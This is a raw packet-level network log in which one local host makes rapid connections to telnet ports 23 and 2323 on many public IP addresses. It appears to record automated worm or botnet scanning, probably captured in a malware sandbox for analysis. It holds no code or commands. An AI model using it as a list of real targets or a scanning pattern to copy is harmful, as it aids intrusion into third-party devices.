Aug 17, 2024 01:01:53.350513935 CEST	37215	56714	156.15.58.220	192.168.2.13
Aug 17, 2024 01:01:53.350522041 CEST	37215	37784	41.114.6.13	192.168.2.13
Aug 17, 2024 01:01:53.350529909 CEST	37215	33776	41.193.15.163	192.168.2.13
Aug 17, 2024 01:01:53.350608110 CEST	37215	60298	156.36.217.61	192.168.2.13
Aug 17, 2024 01:01:53.350720882 CEST	37215	38398	156.79.85.244	192.168.2.13
Aug 17, 2024 01:01:53.350836039 CEST	37215	40936	156.232.18.235	192.168.2.13
Aug 17, 2024 01:01:53.350929022 CEST	37215	44236	41.59.242.136	192.168.2.13
Aug 17, 2024 01:01:53.569423914 CEST	24655	2323	192.168.2.13	17.109.190.173
Aug 17, 2024 01:01:53.569437981 CEST	24655	23	192.168.2.13	142.94.161.211
Aug 17, 2024 01:01:53.569439888 CEST	24655	2323	192.168.2.13	157.242.252.202
Aug 17, 2024 01:01:53.569438934 CEST	24655	23	192.168.2.13	34.158.198.169
Aug 17, 2024 01:01:53.569442034 CEST	24655	23	192.168.2.13	145.84.52.218
Aug 17, 2024 01:01:53.569442034 CEST	24655	23	192.168.2.13	155.173.32.20
Aug 17, 2024 01:01:53.569453955 CEST	24655	23	192.168.2.13	126.61.136.53
Aug 17, 2024 01:01:53.569453955 CEST	24655	23	192.168.2.13	171.124.177.197
Aug 17, 2024 01:01:53.569453955 CEST	24655	23	192.168.2.13	165.200.252.43
Aug 17, 2024 01:01:53.569461107 CEST	24655	23	192.168.2.13	172.131.83.147
Aug 17, 2024 01:01:53.569463968 CEST	24655	23	192.168.2.13	174.114.157.216
Aug 17, 2024 01:01:53.569461107 CEST	24655	23	192.168.2.13	135.70.137.149
Aug 17, 2024 01:01:53.569463968 CEST	24655	23	192.168.2.13	220.143.138.32
Aug 17, 2024 01:01:53.569463968 CEST	24655	23	192.168.2.13	115.212.207.79
Aug 17, 2024 01:01:53.569479942 CEST	24655	23	192.168.2.13	108.221.214.211
Aug 17, 2024 01:01:53.569487095 CEST	24655	23	192.168.2.13	185.82.25.230
Aug 17, 2024 01:01:53.569489002 CEST	24655	23	192.168.2.13	74.223.239.80
Aug 17, 2024 01:01:53.569489002 CEST	24655	23	192.168.2.13	48.164.63.155
Aug 17, 2024 01:01:53.569492102 CEST	24655	23	192.168.2.13	20.213.106.6
Aug 17, 2024 01:01:53.569493055 CEST	24655	23	192.168.2.13	179.79.45.117
Aug 17, 2024 01:01:53.569493055 CEST	24655	2323	192.168.2.13	123.101.241.60
Aug 17, 2024 01:01:53.569497108 CEST	24655	23	192.168.2.13	115.45.124.114
Aug 17, 2024 01:01:53.569497108 CEST	24655	23	192.168.2.13	118.23.46.19
Aug 17, 2024 01:01:53.569497108 CEST	24655	23	192.168.2.13	114.90.126.102
Aug 17, 2024 01:01:53.569509983 CEST	24655	23	192.168.2.13	122.112.82.100
Aug 17, 2024 01:01:53.569528103 CEST	24655	23	192.168.2.13	217.21.52.56
Aug 17, 2024 01:01:53.569528103 CEST	24655	23	192.168.2.13	63.31.217.250
Aug 17, 2024 01:01:53.569536924 CEST	24655	23	192.168.2.13	130.230.75.168
Aug 17, 2024 01:01:53.569542885 CEST	24655	23	192.168.2.13	146.68.93.195
Aug 17, 2024 01:01:53.569542885 CEST	24655	2323	192.168.2.13	206.92.89.62
Aug 17, 2024 01:01:53.569550991 CEST	24655	23	192.168.2.13	75.112.217.180
Aug 17, 2024 01:01:53.569567919 CEST	24655	23	192.168.2.13	77.20.93.16
Aug 17, 2024 01:01:53.569567919 CEST	24655	23	192.168.2.13	92.73.246.11
Aug 17, 2024 01:01:53.569576979 CEST	24655	23	192.168.2.13	130.3.201.87
Aug 17, 2024 01:01:53.569595098 CEST	24655	23	192.168.2.13	164.115.169.188
Aug 17, 2024 01:01:53.569595098 CEST	24655	23	192.168.2.13	154.174.111.147
Aug 17, 2024 01:01:53.569602966 CEST	24655	23	192.168.2.13	160.252.110.163
Aug 17, 2024 01:01:53.569602966 CEST	24655	23	192.168.2.13	141.4.224.147
Aug 17, 2024 01:01:53.569602966 CEST	24655	23	192.168.2.13	168.133.36.162
Aug 17, 2024 01:01:53.569614887 CEST	24655	2323	192.168.2.13	19.94.217.164
Aug 17, 2024 01:01:53.569614887 CEST	24655	23	192.168.2.13	92.204.245.101
Aug 17, 2024 01:01:53.569623947 CEST	24655	23	192.168.2.13	99.125.153.7
Aug 17, 2024 01:01:53.569623947 CEST	24655	23	192.168.2.13	90.233.120.7
Aug 17, 2024 01:01:53.569628954 CEST	24655	23	192.168.2.13	213.124.190.57
Aug 17, 2024 01:01:53.569628954 CEST	24655	23	192.168.2.13	101.55.132.88
Aug 17, 2024 01:01:53.569643974 CEST	24655	23	192.168.2.13	41.42.43.44
Aug 17, 2024 01:01:53.569648027 CEST	24655	23	192.168.2.13	152.42.49.114
Aug 17, 2024 01:01:53.569650888 CEST	24655	23	192.168.2.13	119.175.105.58
Aug 17, 2024 01:01:53.569654942 CEST	24655	23	192.168.2.13	124.64.7.187
Aug 17, 2024 01:01:53.569663048 CEST	24655	23	192.168.2.13	175.228.136.182
Aug 17, 2024 01:01:53.569663048 CEST	24655	2323	192.168.2.13	59.131.174.23
Aug 17, 2024 01:01:53.569675922 CEST	24655	23	192.168.2.13	115.245.180.229
Aug 17, 2024 01:01:53.569684982 CEST	24655	23	192.168.2.13	210.199.174.124
Aug 17, 2024 01:01:53.569695950 CEST	24655	23	192.168.2.13	110.115.215.127
Aug 17, 2024 01:01:53.569695950 CEST	24655	23	192.168.2.13	154.232.202.108
Aug 17, 2024 01:01:53.569708109 CEST	24655	23	192.168.2.13	103.21.207.142
Aug 17, 2024 01:01:53.569717884 CEST	24655	23	192.168.2.13	39.236.140.228
Aug 17, 2024 01:01:53.569720030 CEST	24655	23	192.168.2.13	108.121.178.175
Aug 17, 2024 01:01:53.569720030 CEST	24655	2323	192.168.2.13	81.39.78.149
Aug 17, 2024 01:01:53.569734097 CEST	24655	23	192.168.2.13	1.5.23.90
Aug 17, 2024 01:01:53.569734097 CEST	24655	23	192.168.2.13	68.11.168.36
Aug 17, 2024 01:01:53.569741011 CEST	24655	23	192.168.2.13	185.73.132.70
Aug 17, 2024 01:01:53.569760084 CEST	24655	23	192.168.2.13	204.78.54.65
Aug 17, 2024 01:01:53.569760084 CEST	24655	23	192.168.2.13	57.153.225.103
Aug 17, 2024 01:01:53.569760084 CEST	24655	23	192.168.2.13	135.94.220.4
Aug 17, 2024 01:01:53.569771051 CEST	24655	23	192.168.2.13	212.97.212.250
Aug 17, 2024 01:01:53.569786072 CEST	24655	2323	192.168.2.13	167.163.148.47
Aug 17, 2024 01:01:53.569789886 CEST	24655	23	192.168.2.13	106.93.82.75
Aug 17, 2024 01:01:53.569794893 CEST	24655	23	192.168.2.13	151.201.133.183
Aug 17, 2024 01:01:53.569803953 CEST	24655	23	192.168.2.13	197.15.63.1
Aug 17, 2024 01:01:53.569803953 CEST	24655	23	192.168.2.13	97.11.1.13
Aug 17, 2024 01:01:53.569812059 CEST	24655	23	192.168.2.13	58.198.111.24
Aug 17, 2024 01:01:53.569819927 CEST	24655	23	192.168.2.13	145.95.237.73
Aug 17, 2024 01:01:53.569830894 CEST	24655	23	192.168.2.13	1.75.143.146
Aug 17, 2024 01:01:53.569830894 CEST	24655	23	192.168.2.13	108.237.213.138
Aug 17, 2024 01:01:53.569832087 CEST	24655	23	192.168.2.13	201.164.202.145
Aug 17, 2024 01:01:53.569830894 CEST	24655	23	192.168.2.13	54.30.224.237
Aug 17, 2024 01:01:53.569838047 CEST	24655	23	192.168.2.13	203.99.200.208
Aug 17, 2024 01:01:53.569838047 CEST	24655	23	192.168.2.13	63.83.219.251
Aug 17, 2024 01:01:53.569852114 CEST	24655	2323	192.168.2.13	130.206.134.13
Aug 17, 2024 01:01:53.569854021 CEST	24655	23	192.168.2.13	94.129.174.62
Aug 17, 2024 01:01:53.569854021 CEST	24655	23	192.168.2.13	161.10.84.224
Aug 17, 2024 01:01:53.569858074 CEST	24655	23	192.168.2.13	221.100.48.100
Aug 17, 2024 01:01:53.569858074 CEST	24655	23	192.168.2.13	220.228.224.90
Aug 17, 2024 01:01:53.569861889 CEST	24655	23	192.168.2.13	117.4.243.61
Aug 17, 2024 01:01:53.569880962 CEST	24655	23	192.168.2.13	156.37.190.97
Aug 17, 2024 01:01:53.569885015 CEST	24655	23	192.168.2.13	205.197.154.174
Aug 17, 2024 01:01:53.569885015 CEST	24655	23	192.168.2.13	174.238.40.111
Aug 17, 2024 01:01:53.569891930 CEST	24655	23	192.168.2.13	88.81.174.160
Aug 17, 2024 01:01:53.569907904 CEST	24655	23	192.168.2.13	211.212.23.216
Aug 17, 2024 01:01:53.569926023 CEST	24655	23	192.168.2.13	123.90.129.53
Aug 17, 2024 01:01:53.569935083 CEST	24655	23	192.168.2.13	93.32.107.33
Aug 17, 2024 01:01:53.569936037 CEST	24655	23	192.168.2.13	135.38.211.104
Aug 17, 2024 01:01:53.569943905 CEST	24655	23	192.168.2.13	212.38.197.204
Aug 17, 2024 01:01:53.569947004 CEST	24655	23	192.168.2.13	112.176.192.124
Aug 17, 2024 01:01:53.569956064 CEST	24655	23	192.168.2.13	195.165.97.58
Aug 17, 2024 01:01:53.569958925 CEST	24655	23	192.168.2.13	165.23.101.133
Aug 17, 2024 01:01:53.569958925 CEST	24655	23	192.168.2.13	113.23.178.231
Aug 17, 2024 01:01:53.569971085 CEST	24655	2323	192.168.2.13	123.169.112.77
Aug 17, 2024 01:01:53.569971085 CEST	24655	23	192.168.2.13	58.82.187.189
Aug 17, 2024 01:01:53.569978952 CEST	24655	2323	192.168.2.13	188.40.97.1
Aug 17, 2024 01:01:53.569978952 CEST	24655	23	192.168.2.13	54.14.162.165
Aug 17, 2024 01:01:53.569992065 CEST	24655	23	192.168.2.13	212.126.81.60
Aug 17, 2024 01:01:53.569992065 CEST	24655	23	192.168.2.13	133.126.127.18
Aug 17, 2024 01:01:53.569992065 CEST	24655	23	192.168.2.13	87.40.93.24
Aug 17, 2024 01:01:53.569998026 CEST	24655	23	192.168.2.13	97.162.145.172
Aug 17, 2024 01:01:53.570014954 CEST	24655	23	192.168.2.13	194.210.204.110
Aug 17, 2024 01:01:53.570019007 CEST	24655	23	192.168.2.13	53.5.195.3
Aug 17, 2024 01:01:53.570019007 CEST	24655	2323	192.168.2.13	23.164.139.243
Aug 17, 2024 01:01:53.570029020 CEST	24655	23	192.168.2.13	167.118.82.232
Aug 17, 2024 01:01:53.570029020 CEST	24655	23	192.168.2.13	133.76.9.249
Aug 17, 2024 01:01:53.570039988 CEST	24655	23	192.168.2.13	153.199.75.93
Aug 17, 2024 01:01:53.570043087 CEST	24655	23	192.168.2.13	59.93.244.99
Aug 17, 2024 01:01:53.570046902 CEST	24655	23	192.168.2.13	95.127.89.171
Aug 17, 2024 01:01:53.570049047 CEST	24655	23	192.168.2.13	125.98.164.247
Aug 17, 2024 01:01:53.570060015 CEST	24655	23	192.168.2.13	47.14.101.152
Aug 17, 2024 01:01:53.570060015 CEST	24655	23	192.168.2.13	97.240.88.87
Aug 17, 2024 01:01:53.570070028 CEST	24655	23	192.168.2.13	89.75.133.191
Aug 17, 2024 01:01:53.570079088 CEST	24655	2323	192.168.2.13	71.238.164.138
Aug 17, 2024 01:01:53.570082903 CEST	24655	23	192.168.2.13	8.88.24.178
Aug 17, 2024 01:01:53.570096970 CEST	24655	23	192.168.2.13	203.155.148.210
Aug 17, 2024 01:01:53.570097923 CEST	24655	23	192.168.2.13	207.175.114.104
Aug 17, 2024 01:01:53.570108891 CEST	24655	23	192.168.2.13	53.169.18.228
Aug 17, 2024 01:01:53.570108891 CEST	24655	23	192.168.2.13	51.0.124.238
Aug 17, 2024 01:01:53.570111036 CEST	24655	23	192.168.2.13	20.86.249.117
Aug 17, 2024 01:01:53.570111036 CEST	24655	23	192.168.2.13	162.200.63.157
Aug 17, 2024 01:01:53.570122957 CEST	24655	23	192.168.2.13	175.219.149.191
Aug 17, 2024 01:01:53.570126057 CEST	24655	23	192.168.2.13	193.190.148.226
Aug 17, 2024 01:01:53.570126057 CEST	24655	23	192.168.2.13	185.173.65.15
Aug 17, 2024 01:01:53.570127010 CEST	24655	2323	192.168.2.13	101.63.9.2
Aug 17, 2024 01:01:53.570132971 CEST	24655	23	192.168.2.13	135.192.212.73
Aug 17, 2024 01:01:53.570142031 CEST	24655	23	192.168.2.13	188.29.27.132
Aug 17, 2024 01:01:53.570144892 CEST	24655	23	192.168.2.13	187.33.250.76
Aug 17, 2024 01:01:53.570146084 CEST	24655	23	192.168.2.13	156.66.127.90
Aug 17, 2024 01:01:53.570152044 CEST	24655	23	192.168.2.13	182.225.147.86
Aug 17, 2024 01:01:53.570161104 CEST	24655	23	192.168.2.13	93.192.157.207
Aug 17, 2024 01:01:53.570169926 CEST	24655	23	192.168.2.13	213.226.71.114
Aug 17, 2024 01:01:53.570169926 CEST	24655	23	192.168.2.13	150.25.24.151
Aug 17, 2024 01:01:53.570173979 CEST	24655	23	192.168.2.13	189.174.4.139
Aug 17, 2024 01:01:53.570183992 CEST	24655	23	192.168.2.13	83.126.144.252
Aug 17, 2024 01:01:53.570183992 CEST	24655	2323	192.168.2.13	35.79.8.95
Aug 17, 2024 01:01:53.570185900 CEST	24655	23	192.168.2.13	103.208.114.183
Aug 17, 2024 01:01:53.570194960 CEST	24655	23	192.168.2.13	174.193.7.82
Aug 17, 2024 01:01:53.570203066 CEST	24655	23	192.168.2.13	48.13.171.99
Aug 17, 2024 01:01:53.570208073 CEST	24655	23	192.168.2.13	209.95.113.250
Aug 17, 2024 01:01:53.570215940 CEST	24655	23	192.168.2.13	36.149.1.105
Aug 17, 2024 01:01:53.570235014 CEST	24655	23	192.168.2.13	44.230.64.18
Aug 17, 2024 01:01:53.570236921 CEST	24655	2323	192.168.2.13	93.225.244.197
Aug 17, 2024 01:01:53.570239067 CEST	24655	23	192.168.2.13	57.26.214.228
Aug 17, 2024 01:01:53.570239067 CEST	24655	23	192.168.2.13	106.78.236.152
Aug 17, 2024 01:01:53.570239067 CEST	24655	23	192.168.2.13	68.143.217.67
Aug 17, 2024 01:01:53.570241928 CEST	24655	23	192.168.2.13	141.42.140.0
Aug 17, 2024 01:01:53.570247889 CEST	24655	23	192.168.2.13	175.189.200.110
Aug 17, 2024 01:01:53.570247889 CEST	24655	23	192.168.2.13	110.61.83.135
Aug 17, 2024 01:01:53.570254087 CEST	24655	23	192.168.2.13	216.3.5.200
Aug 17, 2024 01:01:53.570261955 CEST	24655	23	192.168.2.13	61.82.112.113
Aug 17, 2024 01:01:53.570269108 CEST	24655	23	192.168.2.13	120.110.125.150
Aug 17, 2024 01:01:53.570301056 CEST	24655	23	192.168.2.13	213.21.101.206
Aug 17, 2024 01:01:53.570301056 CEST	24655	23	192.168.2.13	139.226.62.146
Aug 17, 2024 01:01:53.571764946 CEST	24655	23	192.168.2.13	41.167.175.200
Aug 17, 2024 01:01:53.574557066 CEST	2323	24655	17.109.190.173	192.168.2.13
Aug 17, 2024 01:01:53.574573040 CEST	2323	24655	157.242.252.202	192.168.2.13
Aug 17, 2024 01:01:53.574583054 CEST	23	24655	145.84.52.218	192.168.2.13
Aug 17, 2024 01:01:53.574594975 CEST	23	24655	142.94.161.211	192.168.2.13
Aug 17, 2024 01:01:53.574599981 CEST	23	24655	34.158.198.169	192.168.2.13
Aug 17, 2024 01:01:53.574609041 CEST	23	24655	155.173.32.20	192.168.2.13
Aug 17, 2024 01:01:53.574613094 CEST	23	24655	126.61.136.53	192.168.2.13
Aug 17, 2024 01:01:53.574621916 CEST	23	24655	171.124.177.197	192.168.2.13
Aug 17, 2024 01:01:53.574626923 CEST	24655	2323	192.168.2.13	17.109.190.173
Aug 17, 2024 01:01:53.574628115 CEST	24655	2323	192.168.2.13	157.242.252.202
Aug 17, 2024 01:01:53.574641943 CEST	24655	23	192.168.2.13	142.94.161.211
Aug 17, 2024 01:01:53.574641943 CEST	24655	23	192.168.2.13	34.158.198.169
Aug 17, 2024 01:01:53.574642897 CEST	24655	23	192.168.2.13	126.61.136.53
Aug 17, 2024 01:01:53.574651003 CEST	24655	23	192.168.2.13	145.84.52.218
Aug 17, 2024 01:01:53.574651003 CEST	24655	23	192.168.2.13	155.173.32.20
Aug 17, 2024 01:01:53.574733973 CEST	24655	23	192.168.2.13	171.124.177.197
Aug 17, 2024 01:01:53.574865103 CEST	23	24655	165.200.252.43	192.168.2.13
Aug 17, 2024 01:01:53.574870110 CEST	23	24655	174.114.157.216	192.168.2.13
Aug 17, 2024 01:01:53.574878931 CEST	23	24655	220.143.138.32	192.168.2.13
Aug 17, 2024 01:01:53.574883938 CEST	23	24655	115.212.207.79	192.168.2.13
Aug 17, 2024 01:01:53.574892998 CEST	23	24655	172.131.83.147	192.168.2.13
Aug 17, 2024 01:01:53.574897051 CEST	23	24655	135.70.137.149	192.168.2.13
Aug 17, 2024 01:01:53.574901104 CEST	24655	23	192.168.2.13	165.200.252.43
Aug 17, 2024 01:01:53.574906111 CEST	23	24655	185.82.25.230	192.168.2.13
Aug 17, 2024 01:01:53.574908018 CEST	24655	23	192.168.2.13	174.114.157.216
Aug 17, 2024 01:01:53.574908018 CEST	24655	23	192.168.2.13	220.143.138.32
Aug 17, 2024 01:01:53.574923038 CEST	24655	23	192.168.2.13	172.131.83.147
Aug 17, 2024 01:01:53.574923038 CEST	24655	23	192.168.2.13	135.70.137.149
Aug 17, 2024 01:01:53.574928999 CEST	24655	23	192.168.2.13	115.212.207.79
Aug 17, 2024 01:01:53.574928999 CEST	24655	23	192.168.2.13	185.82.25.230
Aug 17, 2024 01:01:53.575371981 CEST	23	24655	74.223.239.80	192.168.2.13
Aug 17, 2024 01:01:53.575376987 CEST	23	24655	108.221.214.211	192.168.2.13
Aug 17, 2024 01:01:53.575385094 CEST	23	24655	48.164.63.155	192.168.2.13
Aug 17, 2024 01:01:53.575390100 CEST	23	24655	115.45.124.114	192.168.2.13
Aug 17, 2024 01:01:53.575398922 CEST	23	24655	118.23.46.19	192.168.2.13
Aug 17, 2024 01:01:53.575403929 CEST	23	24655	179.79.45.117	192.168.2.13
Aug 17, 2024 01:01:53.575404882 CEST	24655	23	192.168.2.13	74.223.239.80
Aug 17, 2024 01:01:53.575407982 CEST	23	24655	114.90.126.102	192.168.2.13
Aug 17, 2024 01:01:53.575412035 CEST	24655	23	192.168.2.13	108.221.214.211
Aug 17, 2024 01:01:53.575412035 CEST	23	24655	20.213.106.6	192.168.2.13
Aug 17, 2024 01:01:53.575416088 CEST	24655	23	192.168.2.13	115.45.124.114
Aug 17, 2024 01:01:53.575417042 CEST	2323	24655	123.101.241.60	192.168.2.13
Aug 17, 2024 01:01:53.575421095 CEST	23	24655	122.112.82.100	192.168.2.13
Aug 17, 2024 01:01:53.575422049 CEST	24655	23	192.168.2.13	48.164.63.155
Aug 17, 2024 01:01:53.575426102 CEST	24655	23	192.168.2.13	118.23.46.19
Aug 17, 2024 01:01:53.575433016 CEST	24655	23	192.168.2.13	114.90.126.102
Aug 17, 2024 01:01:53.575432062 CEST	24655	23	192.168.2.13	179.79.45.117
Aug 17, 2024 01:01:53.575443983 CEST	24655	23	192.168.2.13	20.213.106.6
Aug 17, 2024 01:01:53.575443983 CEST	24655	2323	192.168.2.13	123.101.241.60
Aug 17, 2024 01:01:53.575454950 CEST	24655	23	192.168.2.13	122.112.82.100
Aug 17, 2024 01:01:53.575566053 CEST	23	24655	217.21.52.56	192.168.2.13
Aug 17, 2024 01:01:53.575570107 CEST	23	24655	63.31.217.250	192.168.2.13
Aug 17, 2024 01:01:53.575578928 CEST	23	24655	130.230.75.168	192.168.2.13
Aug 17, 2024 01:01:53.575582981 CEST	23	24655	146.68.93.195	192.168.2.13
Aug 17, 2024 01:01:53.575592041 CEST	2323	24655	206.92.89.62	192.168.2.13
Aug 17, 2024 01:01:53.575596094 CEST	23	24655	75.112.217.180	192.168.2.13
Aug 17, 2024 01:01:53.575598001 CEST	24655	23	192.168.2.13	63.31.217.250
Aug 17, 2024 01:01:53.575599909 CEST	23	24655	77.20.93.16	192.168.2.13
Aug 17, 2024 01:01:53.575603962 CEST	23	24655	92.73.246.11	192.168.2.13
Aug 17, 2024 01:01:53.575603962 CEST	24655	23	192.168.2.13	217.21.52.56
Aug 17, 2024 01:01:53.575603962 CEST	24655	23	192.168.2.13	130.230.75.168
Aug 17, 2024 01:01:53.575608015 CEST	23	24655	130.3.201.87	192.168.2.13
Aug 17, 2024 01:01:53.575609922 CEST	24655	23	192.168.2.13	146.68.93.195
Aug 17, 2024 01:01:53.575612068 CEST	23	24655	164.115.169.188	192.168.2.13
Aug 17, 2024 01:01:53.575618029 CEST	24655	23	192.168.2.13	75.112.217.180
Aug 17, 2024 01:01:53.575622082 CEST	23	24655	154.174.111.147	192.168.2.13
Aug 17, 2024 01:01:53.575624943 CEST	24655	2323	192.168.2.13	206.92.89.62
Aug 17, 2024 01:01:53.575625896 CEST	23	24655	160.252.110.163	192.168.2.13
Aug 17, 2024 01:01:53.575627089 CEST	24655	23	192.168.2.13	92.73.246.11
Aug 17, 2024 01:01:53.575627089 CEST	24655	23	192.168.2.13	77.20.93.16
Aug 17, 2024 01:01:53.575630903 CEST	23	24655	141.4.224.147	192.168.2.13
Aug 17, 2024 01:01:53.575638056 CEST	24655	23	192.168.2.13	130.3.201.87
Aug 17, 2024 01:01:53.575640917 CEST	23	24655	168.133.36.162	192.168.2.13
Aug 17, 2024 01:01:53.575644970 CEST	2323	24655	19.94.217.164	192.168.2.13
Aug 17, 2024 01:01:53.575647116 CEST	24655	23	192.168.2.13	164.115.169.188
Aug 17, 2024 01:01:53.575647116 CEST	24655	23	192.168.2.13	154.174.111.147
Aug 17, 2024 01:01:53.575649023 CEST	23	24655	92.204.245.101	192.168.2.13
Aug 17, 2024 01:01:53.575658083 CEST	24655	23	192.168.2.13	160.252.110.163
Aug 17, 2024 01:01:53.575658083 CEST	24655	23	192.168.2.13	168.133.36.162
Aug 17, 2024 01:01:53.575659990 CEST	23	24655	99.125.153.7	192.168.2.13
Aug 17, 2024 01:01:53.575670958 CEST	24655	23	192.168.2.13	92.204.245.101
Aug 17, 2024 01:01:53.575670958 CEST	24655	2323	192.168.2.13	19.94.217.164
Aug 17, 2024 01:01:53.575712919 CEST	24655	23	192.168.2.13	99.125.153.7
Aug 17, 2024 01:01:53.575761080 CEST	24655	23	192.168.2.13	141.4.224.147
Aug 17, 2024 01:01:53.575764894 CEST	23	24655	90.233.120.7	192.168.2.13
Aug 17, 2024 01:01:53.575769901 CEST	23	24655	213.124.190.57	192.168.2.13
Aug 17, 2024 01:01:53.575778961 CEST	23	24655	101.55.132.88	192.168.2.13
Aug 17, 2024 01:01:53.575802088 CEST	24655	23	192.168.2.13	90.233.120.7
Aug 17, 2024 01:01:53.575807095 CEST	24655	23	192.168.2.13	213.124.190.57
Aug 17, 2024 01:01:53.575807095 CEST	24655	23	192.168.2.13	101.55.132.88
Aug 17, 2024 01:01:53.575844049 CEST	23	24655	41.42.43.44	192.168.2.13
Aug 17, 2024 01:01:53.575848103 CEST	23	24655	152.42.49.114	192.168.2.13
Aug 17, 2024 01:01:53.575851917 CEST	23	24655	124.64.7.187	192.168.2.13
Aug 17, 2024 01:01:53.575856924 CEST	23	24655	119.175.105.58	192.168.2.13
Aug 17, 2024 01:01:53.575860977 CEST	23	24655	175.228.136.182	192.168.2.13
Aug 17, 2024 01:01:53.575870037 CEST	2323	24655	59.131.174.23	192.168.2.13
Aug 17, 2024 01:01:53.575872898 CEST	24655	23	192.168.2.13	41.42.43.44
Aug 17, 2024 01:01:53.575874090 CEST	23	24655	115.245.180.229	192.168.2.13
Aug 17, 2024 01:01:53.575877905 CEST	24655	23	192.168.2.13	152.42.49.114
Aug 17, 2024 01:01:53.575879097 CEST	23	24655	210.199.174.124	192.168.2.13
Aug 17, 2024 01:01:53.575881958 CEST	23	24655	110.115.215.127	192.168.2.13
Aug 17, 2024 01:01:53.575885057 CEST	24655	23	192.168.2.13	175.228.136.182
Aug 17, 2024 01:01:53.575885057 CEST	24655	23	192.168.2.13	124.64.7.187
Aug 17, 2024 01:01:53.575887918 CEST	23	24655	154.232.202.108	192.168.2.13
Aug 17, 2024 01:01:53.575900078 CEST	24655	23	192.168.2.13	115.245.180.229
Aug 17, 2024 01:01:53.575901031 CEST	24655	2323	192.168.2.13	59.131.174.23
Aug 17, 2024 01:01:53.575903893 CEST	24655	23	192.168.2.13	119.175.105.58
Aug 17, 2024 01:01:53.575913906 CEST	24655	23	192.168.2.13	110.115.215.127
Aug 17, 2024 01:01:53.575916052 CEST	24655	23	192.168.2.13	210.199.174.124
Aug 17, 2024 01:01:53.575941086 CEST	23	24655	103.21.207.142	192.168.2.13
Aug 17, 2024 01:01:53.575944901 CEST	23	24655	39.236.140.228	192.168.2.13
Aug 17, 2024 01:01:53.575953007 CEST	23	24655	108.121.178.175	192.168.2.13
Aug 17, 2024 01:01:53.575956106 CEST	24655	23	192.168.2.13	154.232.202.108
Aug 17, 2024 01:01:53.575958014 CEST	2323	24655	81.39.78.149	192.168.2.13
Aug 17, 2024 01:01:53.575968981 CEST	23	24655	185.73.132.70	192.168.2.13
Aug 17, 2024 01:01:53.575973988 CEST	23	24655	1.5.23.90	192.168.2.13
Aug 17, 2024 01:01:53.575973988 CEST	24655	23	192.168.2.13	39.236.140.228
Aug 17, 2024 01:01:53.575973988 CEST	24655	23	192.168.2.13	103.21.207.142
Aug 17, 2024 01:01:53.575978041 CEST	23	24655	68.11.168.36	192.168.2.13
Aug 17, 2024 01:01:53.575982094 CEST	23	24655	204.78.54.65	192.168.2.13
Aug 17, 2024 01:01:53.575989008 CEST	24655	23	192.168.2.13	185.73.132.70
Aug 17, 2024 01:01:53.575990915 CEST	24655	23	192.168.2.13	108.121.178.175
Aug 17, 2024 01:01:53.575990915 CEST	24655	2323	192.168.2.13	81.39.78.149
Aug 17, 2024 01:01:53.575992107 CEST	23	24655	57.153.225.103	192.168.2.13
Aug 17, 2024 01:01:53.575997114 CEST	23	24655	135.94.220.4	192.168.2.13
Aug 17, 2024 01:01:53.576005936 CEST	23	24655	212.97.212.250	192.168.2.13
Aug 17, 2024 01:01:53.576009035 CEST	24655	23	192.168.2.13	1.5.23.90
Aug 17, 2024 01:01:53.576009035 CEST	24655	23	192.168.2.13	68.11.168.36
Aug 17, 2024 01:01:53.576024055 CEST	24655	23	192.168.2.13	204.78.54.65
Aug 17, 2024 01:01:53.576024055 CEST	24655	23	192.168.2.13	57.153.225.103
Aug 17, 2024 01:01:53.576024055 CEST	24655	23	192.168.2.13	135.94.220.4
Aug 17, 2024 01:01:53.576025963 CEST	24655	23	192.168.2.13	212.97.212.250
Aug 17, 2024 01:01:53.576065063 CEST	2323	24655	167.163.148.47	192.168.2.13
Aug 17, 2024 01:01:53.576071978 CEST	23	24655	106.93.82.75	192.168.2.13
Aug 17, 2024 01:01:53.576081991 CEST	23	24655	151.201.133.183	192.168.2.13
Aug 17, 2024 01:01:53.576102018 CEST	24655	2323	192.168.2.13	167.163.148.47
Aug 17, 2024 01:01:53.576108932 CEST	24655	23	192.168.2.13	106.93.82.75
Aug 17, 2024 01:01:53.576118946 CEST	24655	23	192.168.2.13	151.201.133.183
Aug 17, 2024 01:01:53.576184034 CEST	23	24655	197.15.63.1	192.168.2.13
Aug 17, 2024 01:01:53.576189041 CEST	23	24655	97.11.1.13	192.168.2.13
Aug 17, 2024 01:01:53.576198101 CEST	23	24655	58.198.111.24	192.168.2.13
Aug 17, 2024 01:01:53.576200962 CEST	23	24655	145.95.237.73	192.168.2.13
Aug 17, 2024 01:01:53.576225042 CEST	24655	23	192.168.2.13	197.15.63.1
Aug 17, 2024 01:01:53.576225042 CEST	24655	23	192.168.2.13	97.11.1.13
Aug 17, 2024 01:01:53.576235056 CEST	24655	23	192.168.2.13	145.95.237.73
Aug 17, 2024 01:01:53.576281071 CEST	24655	23	192.168.2.13	58.198.111.24
Aug 17, 2024 01:01:53.576354027 CEST	23	24655	201.164.202.145	192.168.2.13
Aug 17, 2024 01:01:53.576359034 CEST	23	24655	1.75.143.146	192.168.2.13
Aug 17, 2024 01:01:53.576368093 CEST	23	24655	108.237.213.138	192.168.2.13
Aug 17, 2024 01:01:53.576370955 CEST	23	24655	54.30.224.237	192.168.2.13
Aug 17, 2024 01:01:53.576375961 CEST	23	24655	203.99.200.208	192.168.2.13
Aug 17, 2024 01:01:53.576380014 CEST	23	24655	63.83.219.251	192.168.2.13
Aug 17, 2024 01:01:53.576385975 CEST	24655	23	192.168.2.13	201.164.202.145
Aug 17, 2024 01:01:53.576390028 CEST	2323	24655	130.206.134.13	192.168.2.13
Aug 17, 2024 01:01:53.576392889 CEST	24655	23	192.168.2.13	1.75.143.146
Aug 17, 2024 01:01:53.576392889 CEST	24655	23	192.168.2.13	108.237.213.138
Aug 17, 2024 01:01:53.576395035 CEST	23	24655	94.129.174.62	192.168.2.13
Aug 17, 2024 01:01:53.576402903 CEST	23	24655	161.10.84.224	192.168.2.13
Aug 17, 2024 01:01:53.576406002 CEST	24655	23	192.168.2.13	203.99.200.208
Aug 17, 2024 01:01:53.576406002 CEST	24655	23	192.168.2.13	63.83.219.251
Aug 17, 2024 01:01:53.576406956 CEST	23	24655	221.100.48.100	192.168.2.13
Aug 17, 2024 01:01:53.576416969 CEST	23	24655	220.228.224.90	192.168.2.13
Aug 17, 2024 01:01:53.576421022 CEST	23	24655	117.4.243.61	192.168.2.13
Aug 17, 2024 01:01:53.576423883 CEST	24655	2323	192.168.2.13	130.206.134.13
Aug 17, 2024 01:01:53.576423883 CEST	23	24655	156.37.190.97	192.168.2.13
